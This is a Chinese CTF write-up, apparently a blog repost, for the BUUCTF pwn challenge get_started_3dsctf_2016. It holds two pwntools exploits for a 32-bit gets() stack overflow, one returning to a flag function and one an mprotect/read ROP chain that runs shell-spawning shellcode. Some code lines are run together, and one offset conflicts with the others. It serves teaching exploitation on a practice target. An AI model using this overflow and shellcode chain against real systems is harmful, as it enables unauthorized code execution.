【BUUCTF-PWN】12-get_started_3dsctf_2016

32位,开启了NX保护
在这里插入图片描述

执行效果:
在这里插入图片描述

main函数:
在这里插入图片描述

其中gets()函数存在栈溢出,溢出距离为0x38,这里是使用的esp寻址,属于外平栈,不需要覆盖ebp的四个字节。而之前做的题一般都是ebp寻址,属于内平栈,因此需要覆盖ebp。详细可见buu get_started_3dsctf_2016 关于内平栈和外平栈-CSDN博客
在这里插入图片描述
在这里插入图片描述

查看后门函数get_flag():
在这里插入图片描述

这里有两种解题方法:
第一种
该方法的详细解题思路参考:BUUCTF-get_started_3dsctf_2016 - -ro0t - 博客园 (cnblogs.com)

gets使得我们可以输入任意字节数据。我们把ret_addr处给覆盖为后门函数get_flag(a1,a2)的地址0x080489A0
在这里插入图片描述

但是这个后门函数要求两个参数必须是指定值814536271和425138641才可以拿到flag,对应十六进制形式为0x308CD64Fh和0x195719D1h
在这里插入图片描述

同时使用fopen打开文件时,程序必须要正常退出才会有回显,因此需要使用exit函数来正常退出
32位程序payload=offset + 函数地址 + 返回地址(一定得是exit函数的地址)+ 参数
exit函数的地址为0x0804E6A0
在这里插入图片描述

最终可用的exp如下:

from pwn import *
io = remote("node5.buuoj.cn",25076)
payload = b'a'*56
payload += p32(0x080489A0) + p32(0x0804E6A0) 
payload += p32(0x308CD64F) + p32(0x195719D1)
io.sendline(payload)
io.interactive()

执行结果如下,可以成功打通得到flag:
在这里插入图片描述

第二种
该方法的详细解题思路参考:
今天你pwn了吗(上) - FreeBuf网络安全行业门户
get_started_3dsctf_2016 - 不会修电脑 - 博客园 (cnblogs.com)

函数列表中可以看到存在mprotect函数
在这里插入图片描述

这里可以利用mprotect函数修改指定内存段为可执行,再注入shellcode从而可以执行shellcode得到flag
在这里插入图片描述

一般利用过程,来自大模型的回答:
在这里插入图片描述

对应的利用payload思路如下,参考自BUUCTF-get_started_3dsctf_2016 - -ro0t - 博客园 (cnblogs.com):
payload1= b"A"0x38+p32(mprotect地址,跳转到函数执行)+p32(gadget,mprotect需要三个参数,我们可以查找合适的gadget)+p32(memaddr,被修改的内存地址)+p32(0x100,被修改的内存大小)+p32(0x7,内存权限rwx,二进制111,也就是7)+p32(read,返回到read函数地址)+p32(memaddr,read函数的返回地址)+p32(0,read函数的参数1)+p32(memaddr,read函数的参数2)+p32(0x100,read函数的参数3)+p32(memaddr,指向修改的内存地址)
参考构造流程如下:
垃圾数据–>mprotect函数地址–>三个连续的pop地址–>.got.plt表起始地址–>内存长度–>内存权限–>read函数–>三个连续的pop地址–>read函数的三个参数–> .got.plt表的起始位置
具体构造流程如下:
1、首先利用gets函数造成溢出,让程序跳转到mprotect函数去执行
获取mprotect函数地址的两种方法:
(1)直接IDA中查找
在这里插入图片描述

(2)通过ELF获取,对应exp片段为
elf = ELF(./get_started_3dsctf_2016)
mprotect_addr = elf.symbols[‘mprotect’]
2、利用mprotect函数将目标地址改为可读可写可执行
详细参见:PWN 利用mprotect函数进行.got.plt地址段的读取
(1)确定mprotect函数的三个参数值
首先确定可用的内存
这里有两种方法,感觉pwndbg的方法更靠谱一些
第一种是使用pwndbg查找可用地址
参考今天你pwn了吗(上) - FreeBuf网络安全行业门户
get_started_3dsctf_2016 - 不会修电脑 - 博客园 (cnblogs.com)
在这里插入图片描述

第二种是直接在IDA中查找,crtl+s调出程序的段表,这里还不太清楚怎么去选择可用的程序段,看很多博客都是直接用的.got.plt的起始位置
在这里插入图片描述

第二个参数为内存的长度,这里能写入shellcode就可以,设置为0x100
第三个参数为内存的权限,这里设置为7(4+2+1),代表可读可写可执行
(2)确定gadget
因为mprotect函数需要传入三个地址,返回地址覆盖需要三个连续的pop地址,使用ROPgadget来获取地址:

ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret' | grep pop

在这里插入图片描述

帖子里说在这里面查出来的一大串里面选一个就可以,这里选择0x080509a5
参考帖子:PWN 利用mprotect函数进行.got.plt地址段的读取
以上思路示例的exp如下,与题解无关:

# 0x0806fcc8 : pop esi ; pop ebx ; pop edx ; ret
# 0x08050b45 : pop ebx ; pop esi ; pop edi ; ret
pop3_addr = 0x08050b45 # 三个连续的pop地址,查出来选一个就行了
got_plt_addr = 0x080EB000  # .got.plt表的起始地址
got_plt_size = 0x100  # 内存长度
got_plt_type = 0x7  # 内存权限,读写执行payload = b'a' * 0x2D + p32(elf.symbols['mprotect'])  # 进行栈溢出,将mprotect函数的地址填入返回地址处
payload += p32(pop3_addr)  # 三个连续的pop地址
payload += p32(got_plt_addr) + p32(got_plt_size) + p32(got_plt_type)  # mprotect的三个参数

3、mprotect函数返回地址填上read函数地址,利用read函数将shellcode读入程序段
(1)read函数地址
IDA直接查找
在这里插入图片描述

或者ELF获取:
elf = ELF(./get_started_3dsctf_2016)
mprotect_addr = elf.symbols[‘read’]
(2)确定read函数的三个参数:
read函数原型如下
在这里插入图片描述

这里第一个参数设为0,第二个参数设置为我们上面使用mprotect函数修改的内存地址,第三个参数设置为0x100
因为read函数也有三个参数要设置,我们就可以继续借用上面mprotect中找到的有3个寄存器的ret指令
(3)将read函数的返回地址设置为要写入的内存地址,同时传入pwntools生成的shellcode
到这里我们已经完成了修改内存为可读可写可执行,将程序重定向到修改的内存地址,接下来只需要传入shellcode即可:
r.sendline(asm(shellcraft.sh()))

完整的exp如下,增加了注释描述:

from pwn import *elf = ELF('./get_started_3dsctf_2016')r=remote('node5.buuoj.cn', 25697)pop3_ret = 0x080509a5            # 三个连续的POP地址,ROPgadget查询
mem_addr = 0x80EB000             # 可用的内存,vmmap查询或使用.got.plt表的起始地址
mem_size = 0x1000                # 被修改内存的大小
mem_proc = 0x7                   # 被修改内存的权限,7为可读可写可执行mprotect_addr = elf.symbols['mprotect']          # mprotect函数的地址
read_addr = elf.symbols['read']                  # read函数的地址# 利用mprotect函数将目标地址修改为可读可写可执行
payload  = b'A' * 0x38                           # 覆盖到返回地址的距离,因为是外平栈,因此不需要覆盖ebp的4个字节
payload += p32(mprotect_addr)                    # 进行栈溢出,返回地址为mprotect函数的地址
payload += p32(pop3_ret)                         # 三个连续的POP地址,ROPgadget查询payload += p32(mem_addr)                         # 被修改内存的起始地址
payload += p32(mem_size)                         # 被修改内存的大小
payload += p32(mem_proc)                         # 被修改内存的权限# 利用read函数将shellcode读入程序段
payload += p32(read_addr)                        # mprotect的返回地址填上read函数的地址payload += p32(pop3_ret)                         # 三个连续的POP地址,和mprotect函数使用的一样payload += p32(0)                                # read函数第一个入参,0表示从输入端读取内容
payload += p32(mem_addr)                         # 写入的内存地址 
payload += p32(0x100)                            # 写入的内存长度payload += p32(mem_addr)                         # 将read函数的返回地址设置为要写入的内存地址r.sendline(payload)payload = asm(shellcraft.sh())                   # pwntools生成的shellcoder.sendline(payload)r.interactive()

执行结果如下:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/40963.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

开发国际短剧系统的策略解析

一、明确项目目标和需求 1、功能需求:确定系统应具备的基本功能,如用户注册、登录、浏览短剧、评论、分享、个性化推荐等。 2、性能需求:确保系统能够承受高并发访问,保证视频流畅播放,减少卡顿和延迟。 3、跨文化传播…

MCU中如何利用串口通信,增加AT指令框架

第一步,通过串口与PC端建立通信第二步,根据PC端发来的AT指令,MCU执行相应代码 主要是解析PC端发来的字符串,也就是获取字符串、处理字符串、以及分析字符串。 1. 串口通信 用到的是DMA串口通信,收发字符串数据时&…

如何使用 3D 建模库在 C# 中将 3DS 转换为 USDZ?

USDZ/USD是一种 3D 文件格式,被广泛用于跨平台共享 3D 资产。另一方面,3DS是另一种以块形式存储数据的 3D 文件格式。在某些情况下,您需要将3DS 文件转换为 USDZ/USD文件格式。因此,本篇博文介绍了一个功能丰富的3D 建模库&#x…

【基于R语言群体遗传学】-6-表型计算等位基因频率、最大似然估计方法

到目前为止,我们主要讨论了等位基因和基因型频率,以及我们如何可以从一个推断出另一个。但是,如果我们不知道等位基因频率,只知道种群中存在哪些表型呢?如果我们足够幸运,知道哪些表型对应哪些基因型&#…

一键安装部署,在 Ubuntu 服务器上快速搭建基于 Ghost CMS的网站

我们在上一篇内容中讲过,如何使用 Helm 在 Kubernetes 集群上安装 WordPress,创建高可用性网站。而这次我们将基于另一个流行的内容管理系统 Ghost CMS 在 DigitalOcean 云主机进行建站。 Ghost 也是开源的内容管理系统(CMS)&…

C#知识|项目的实施过程及通用三级架构的搭建笔记

哈喽,你好啊,我是雷工! 01 项目需求分析 根据与需求方沟通,分析需求,一般都有需求分析师来进行项目需求收集与分析。 根据需求文档进行项目功能设计。 02 框架的选择 ①小项目可以根据需求选择两层或三层结构。 ②中型大型项目,至少需要三层架构和其他架构的组合。 03 框…

Spring学习03-[Spring容器核心技术IOC学习进阶]

IOC学习进阶 Order使用Order改变注入顺序实现Ordered接口,重写getOrder方法来改变自动注入顺序 DependsOn使用 Lazy全局设置-设置所有bean启动时候懒加载 Scopebean是单例的,会不会有线程安全问题 Order 可以改变自动注入的顺序 比如有个animal的接口&a…

NEMU模拟器的gdb调试和指令调试

NEMU模拟器的gdb调试和指令调试 1 通过gdb调试NEMU1.1 编译NEMU1.2 gdb调试 2 通过NEMU调试指令 关于如何编译NEMU,以及编译MySBIBenOS固件,运行等前置知识,可参考 《NEMU模拟器源码编译与使用》。 1 通过gdb调试NEMU 1.1 编译NEMU 当我使…

E2.【C语言】练习:static部分

#include <stdio.h> int sum(int a) {int c 0;static int b 3;c 1;b 2;return (a b c); } int main() {int i;int a 2;for (i 0; i < 5;i){printf("%d ", sum(a));} } 求执行结果 c是auto类变量(普通的局部变量)&#xff0c;自动产生&#xff0c…

Windows 11 操作无法完成(错误 0x00000709)。

这里写自定义目录标题 环境错误一错误二错误三重点 环境 共享端&#xff1a;Win11 专业版 23H2 本地端&#xff1a;Win11 专业版 23H2 错误一 操作无法完成(错误 0x00000709)。 再次检查打印机名称&#xff0c;并确保打印机已连接到网络。 解决&#xff1a; 组策略设置 打开…

sql查询 只取某字段重复数据中的一条

一. 前提条件 某表的主键由两个字段A、B构成&#xff08;或者更多&#xff09;&#xff0c;任何其中一个字段都可能具有重复的数据。 需要只取字段A所有重复数据中的一条构成查询结果&#xff0c;也就是字段A取到所有的可能取值且无重复。 二. 方法一&#xff08;where ... …

Appium环境搭建,华为nova8鸿蒙系统(包括环境安装,环境配置)(一)

1.安装代码工具包 appium python client pip install appium-python-client 2.安装JDK 参考链接: ant+jmeter+jenkins从0实现持续集成(Windows)-CSDN博客 3.下载并安卓SDK 下载地址:AndroidDevTools - Android开发工具 Android SDK下载 Android Studio下载 Gradle下载…

香橙派AIpro初体验:搭建无线随身NAS

文章目录 引言2. 香橙派 AIPro概述3. 开发准备3.0 烧录镜像3.1 需要准备的硬件3.2 需要准备的软件3.3 启动并连接香橙派 AIPro3.3.1 初始化启动香橙派 AIPro3.3.2 无线连接香橙派 AIPro3.3.3.3 VNC连接香橙派 AIPro 3.4 设置固定ip3.4.1 设置开机自动连接WIFI3.4.1 设置香橙派 …

松下Panasonic机器人维修故障原因

松下机器人伺服电机是许多工业自动化设备的关键组成部分。了解如何进行Panasonic工业机械臂电机维修&#xff0c;对于确保设备正常运行至关重要。 【松下焊接机器人维修案例】【松下机器人维修故障排查】 一、常见松下工业机械手伺服电机故障及原因 1. 过热&#xff1a;过热可…

【BUUCTF-PWN】6-jarvisoj_level0

64位&#xff0c;开启了NX保护 运行效果如下&#xff1a; main函数&#xff1a; vulnerable_function()函数 buf变量长度为128&#xff0c;但是read可以读入0x200长度的字符&#xff0c;存在栈溢出&#xff0c;需要覆盖的长度为0x808 寻找后门函数 这里可以直接用栈…

计算机的错误计算(二十一)

摘要 两个不相等数相减&#xff0c;差为0&#xff1a; ? 在计算机的错误计算&#xff08;十九&#xff09;中&#xff0c;高中生小明发现本应为0的算式结果不为0. 今天他又发现对本不为0的算式&#xff0c;计算机的输出为0. 在 Python 中计算 &#xff1a; 则输出为0. 若用 C…

Android-卷积神经网络(Convolutional Neural Network, CNN)

一个复杂且在Android开发中常见的算法是图像处理中的卷积神经网络(Convolutional Neural Network, CNN)。CNN被广泛用于图像识别、物体检测和图像分割等任务,其复杂性在于需要处理大量的图像数据、复杂的神经网络结构和高效的计算。 1. 卷积操作(Convolution) 数学原理:…

CSS学习(三大特性 盒子模型)

目录 Emmet语法 1.快速生成HTML结构语法 2.快速生成CSS样式语法 CSS的复合选择器 后代选择器 子选择器 并集选择器 伪类选择器 链接伪类选择器 focus伪类选择器 CSS的三大特性 层叠性 继承性 优先级 CSS盒子模型 组成 边框 边框 内边距 外边距 块级盒子水…

7_1_SVPWM概述

1、SPWM 正弦脉宽调制法&#xff08;SPWM&#xff09;是将每一正弦周期内的多个脉冲作自然或规则的宽度调制&#xff0c;使其依次调制出相当于正弦函数值的相位角和面积等效于正弦波的脉冲序列&#xff0c;形成等幅不等宽的正弦化电流输出。 通过调整占空比使等效电流近似为正弦…

classin视频下载提取为mp4教程

最近在上classin网课&#xff0c;无奈网课视频要过期了&#xff0c;所以想保存下来&#xff01; 下面介绍提取的教程 我们可以绕过最开始的握手&#xff0c;就是先播放了一段时间后&#xff0c;再打开抓包&#xff0c;回到Classin播放后&#xff0c;就可以获得网课链接了 直接打…